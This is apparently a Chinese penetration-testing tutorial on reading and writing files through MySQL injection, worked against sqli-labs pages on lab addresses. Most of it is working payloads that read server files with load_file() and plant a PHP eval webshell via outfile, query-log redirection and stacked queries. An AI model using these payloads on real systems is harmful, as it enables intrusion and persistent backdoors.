0x00 简介

MySQL 中 在在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL ,而 secure_file_priv为null 那么我们就不能导出文件,以下都建立在secure_file_priv 的默认值被修改为无才能利用,且这个只能手工修改配置文件不能用sql语句,也就是想直接导出需要管理员不知道干了什么帮你修改好这个权限才行。windows系统在 my.ini的[mysqld]下面加上secure_file_priv = ,linux 的在 /etc/my.cnf 同时读写权限问题就不用说了。mysql> show global variables like ‘%secure%’; +—————————+———-+ | Variable_name | Value | +—————————+———-+ | secure_auth | OFF | | secure_file_priv | | +—————————+———-+ 2 rows in set (0.00 sec)# 0x01 读文件 可以把文件hex一下输出,文件名也是支持 hex和char的mysql> select * from admin union select 1,hex(load_file(‘D:\1.txt’)),3; +———+————————————+—————+ | id | username | password | +———+————————————+—————+ | 3 | bdmin | fdmin | | 2 | admin | ddmin | | 1 | cdmin | bdmin | | 1 | 617574686F72A3BA343034 | 3 | +———+————————————+—————+ 4 rows in set (0.02 sec)

http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,hex(load_file(0x463A5C5C312E747874)),3— +当然你加入你进了phpmyadmin类似的平台 可以执行sql语句,你可以选择把导入的数据插入表中 同时支持导入的函数还有 load data infilecreate table test(test text); insert into test(test) values (load_file(‘D:\1.txt’)); select from test;如果能读文件在渗透测试中往往很有用,可以读取配置文件,系统问题等等关键信息,在我以前的一次意淫中,进入一个后台功能全被限制死了,但是可以执行导入,通过一个编辑器的目录遍历,发现某文件时间不一致,读取出来发现是webshell,应该是某黑客进去之后做的手脚# 0x02 写文件 1.写文件我们一般用到 dumpfile与outfile 她们其实是有区别 outfile 会在行末写入新行,而且会转义换行符dumpfile 能导出一个完整的文件,不会有任何转义 所以我们udf提取一般用的dumpfile mysql> select from admin where id =1 union select 1,’<?php eval($_POST[cmd]);?>’,3 into outfile ‘G:\test.txt’; Query OK, 2 rows affected (0.00 sec)后来大佬们找到一种方法通过日志来写shell解决这个史诗级难题,但是需要能直接执行sql语句利用有限set global general_log=on; set global general_log_file=’D://404.php’; select ‘<?php eval($_POST[‘404’]) ?>’;通过把日志路径更改 ,让查询的日志保存过去,还有一种慢日志,原理一样mysql> show global variables like ‘%query_log%’ -> ; +——————————-+——————————————————————————————-+ | Variable_name | Value | +——————————-+——————————————————————————————-+ | slow_query_log | OFF | | slow_query_log_file | D:\phpstudy\PHPTutorial\MySQL\data\LAPTOP-M4APUKKN-slow.log | +——————————-+——————————————————————————————-+ 2 rows in set (0.00 sec)set global slow_query_log=1;

set global slow_query_log_file=’D://404.php’

select ‘<?php eval($_POST[‘404’]) ?>’ or sleep(15);# 0x03 堆叠查询 mysql是支持堆叠查询的用; 分割语句,但是php原生的连接方式不支持,但是使用 PDO,mysqli_multi_query()等等是支持多语句的,在我们使用堆叠查询的时候基本是没有回显的,而且其实很难遇到这种环境。mysql> select * from admin where id =1;select user(); +———+—————+—————+ | id | username | password | +———+—————+—————+ | 1 | cdmin | bdmin | +———+—————+—————+ 1 row in set (0.00 sec)

+————————+ | user() | +————————+ | root@localhost | +————————+ 1 row in set (0.00 sec)这里讲在一起就是因为,假如支持堆叠查询还可以用日志来写shell。 http://192.168.59.129/Less-38/?id=1%27;set global general_log=on;set global general_log_file=’C://phpstudy//404.php’;—+

http://192.168.59.129/Less-38/?id=1%27;select ‘<?php eval($_POST[404]) ?>’;—+# 0x04 文末

本文如有错误,请及时提醒,避免误导他人

  • 1-13-读写文件与堆叠查询 - 图1author:404